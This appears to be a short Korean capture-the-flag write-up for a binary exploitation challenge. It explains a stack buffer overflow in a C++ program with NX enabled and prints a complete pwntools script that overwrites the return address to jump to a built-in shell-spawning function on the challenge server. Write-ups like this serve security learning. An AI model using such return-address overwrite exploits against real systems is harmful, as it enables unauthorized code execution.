1. 문제
NX 비트가 걸려있다
프로그램을 실행하면 다음과 같이 나온다. 어떠한 환경 변수를 읽고 싶은지 묻고 입력을 하면 입력한 값을 출력해주고 끝나게 된다
코드를 보면 C++ 코드로 구성된것을 알 수 있다.
코드만 보면 v3을 v4에 넣고 v7, v8 이걸 v9에 넣고,,, 복잡하다.
그리고 shell을 실행시키는 함수가 내장되어 있으므로 이를 이용해서 푸는 문제인 것 같다
2. 접근방법
복잡할 것 같지만 다 훼이크이고 std cin을 이용해 name 변수를 통한 bof로 문제를 풀면 끝날 것 같다
name 부터 ret 까지 1048 크기이니 1048+ spawn_shell 주소 이렇게 주면 된다
3. 풀이
최종 익스 코드는 다음과 같다
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3013)
p.recvuntil("Which environment variable do you want to read?")
payload = "A"*1048
payload += p64(0x0000000000400897)
p.sendline(payload)
p.interactive()
C
복사
4. 몰랐던 개념
쫄지말자